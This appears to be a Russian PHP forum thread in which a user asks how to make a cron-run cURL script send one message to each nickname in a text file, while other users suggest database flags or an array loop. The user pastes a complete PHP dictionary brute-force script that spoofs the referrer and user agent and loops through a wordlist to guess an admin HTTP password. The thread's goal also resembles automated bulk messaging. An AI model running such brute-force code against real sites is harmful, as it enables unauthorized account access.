[ Поиск ] - [ Пользователи ] - [ Календарь ]
Полная Версия: Работа с txt
Frost-56
1. есть файл куда записываются ники пользователей.
2. есть скрипт (cURL) который делает авторизацию и сохраняет все в куки.
и главное:

3. файл который должен брать для авторизации куки, отправлять сообщение по нику и больше на этот ник не отсылать. Если в файле появился новый ник, шлем ему тоже. (запускать можно кроном).

На данный момент этот файл умеет юзать куки для авторизации, слать сообщение, но на тот ник, который указан в переменной.

Я думаю надо сделать как то перебор ников и как то их помечать чтобы больше не отсылать им сообщение.

Пока что не знаю как реализовать.
Заранее благодарю за Ваши ответы и подсказки.
(Есть возможность подключить 5 БД (MySQL)).





Спустя 42 секунды (7.01.2012 - 00:25) Frost-56 написал(а):
Думал взять за основу код для брута:

<?php
$ref = "http://www.example.com/index.php"; // Set the referrer to spoof

$denied = "Forbidden"; // Set the "Denied" output

$wordlist = "/var/www/wordlist.txt"; // Set the wordlist location

set_time_limit ( 0 ); // Set script execution limit. 0 = no limit

$ch = curl_init( ); // Initialise cURL
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1); // Set RETURNTRANSFER to TRUE
curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, 1); // Set FOLLOWLOCATION to TRUE
curl_setopt( $ch, CURLOPT_REFERER, $ref); // Set REFERER to $ref
curl_setopt( $ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"); // Spoof User Agent

foreach( file ( $wordlist ) as $password ) // Start the loop for dictionary attack
{
$force = "http://admin:{$password}@www.example.com/admin/"; // Set the URL to attack,
curl_setopt( $ch, CURLOPT_URL, $force ); // Load the URL to attack with cURL
$check = curl_exec( $ch ); // Set params to check
if( !strpos ( $denied, $check ) ) // Check to see if $denied is not in page
{
die ( "Success! The password is: {$password}" ); // If $denied returns false, success
}
}

curl_close( $ch ); // Close the cURL process
?>


но не понял как именно он выдирает строку из файла и толкает её в переменную.

Спустя 12 часов, 28 минут, 24 секунды (7.01.2012 - 12:54) Frost-56 написал(а):
помогите товарисчи программисты

Спустя 17 минут, 58 секунд (7.01.2012 - 13:12) Nikitian написал(а):
перевести на работу с базой, добавив поле с меткой об отправке. Поле ника сделать уникальным. Если поле с меткой заполнено, то не отправлять, если не заполнено, от отправить и заполнить.

Спустя 50 секунд (7.01.2012 - 13:12) Семён написал(а):
Пишите в таблицу пользователя, которому отправили сообщение, и перед отправкой проверяйте, было ли отправлено ему ранее сообщение.

Спустя 52 секунды (7.01.2012 - 13:13) Frost-56 написал(а):
Цитата
Семён

Вариант не плохой wink.gif

Спустя 7 минут, 52 секунды (7.01.2012 - 13:21) Семён написал(а):
Frost-56
Остаётся только гадать, что ты имел ввиду.
Знаки препинания нужно ставить.

Спустя 3 минуты, 7 секунд (7.01.2012 - 13:24) Frost-56 написал(а):
Основная моя проблема, это вносить строку и txt файла в переменную

Спустя 1 минута, 44 секунды (7.01.2012 - 13:26) Семён написал(а):
Поступите иначе.
Соберите все ники в 1 массив, затем в цикле просто пройдитесь по нему и отправьте сообщения.

Спустя 20 минут, 4 секунды (7.01.2012 - 13:46) Frost-56 написал(а):
Можно код с примером ?
А то я не понял как сделать это.
Быстрый ответ:

 Графические смайлики |  Показывать подпись
Здесь расположена полная версия этой страницы.
Invision Power Board © 2001-2024 Invision Power Services, Inc.